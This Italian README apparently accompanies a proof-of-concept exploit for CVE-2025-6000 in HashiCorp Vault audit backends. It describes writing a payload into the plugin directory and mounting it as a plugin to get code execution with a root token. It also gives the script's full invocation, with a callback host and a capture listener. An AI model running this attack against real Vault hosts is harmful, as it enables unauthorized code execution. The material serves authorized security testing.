
Proof-of-concept exploit per CVE-2025-6000, un'escalation dei privilegi verso RCE nei backend di audit di HashiCorp Vault, che consente l'esecuzione arbitraria di codice con un token di root.
Proof-of-concept per CVE-2025-6000, una vulnerabilità di escalation dei privilegi fino a RCE nei
backend di audit di HashiCorp Vault. Il dispositivo di audit consente a un chiamante privilegiato
di controllare le opzioni prefix, file_path e mode senza alcuna validazione. Scrivendo
un payload eseguibile nella plugin_directory di Vault, quindi registrandolo
e montandolo come plugin, un attaccante con un token root può eseguire codice arbitrario
sull'host di Vault.
https://github.com/user-attachments/assets/f8d6c90a-b511-4e96-8e4d-718c7a765601
plugin_directory configurata.sys/audit, sys/plugins,
sys/mounts).python3 CVE-2025-6000.py <vault-host> <vault-port> --token <root-token> \
--socket-addr <ip:port che Vault contatta> \
--listen-port 9861 \
--callback-host <il-tuo-ip> --callback-port 8000 \
--cleanup
--socket-addr — indirizzo che Vault contatta per lo stream di audit (il tuo IP VPN:porta
o un endpoint TCP ngrok).--listen-port — porta locale a cui si lega il server di cattura.--callback-host / --callback-port — endpoint HTTP usato per confermare
l'esecuzione.--cleanup — rimuove i dispositivi di audit, il plugin e il mount alla fine.Se la cattura fallisce, lo script ripiega su un prompt manuale SHA256. Esegui -h per
tutte le opzioni.
Solo per test di sicurezza autorizzati, ricerca e istruzione. Usa solo contro sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta a testare. Sei l'unico responsabile dell'uso di questo software; gli autori non accettano alcuna responsabilità per uso improprio o danni. L'accesso non autorizzato a sistemi informatici è illegale.
MIT — vedi LICENSE.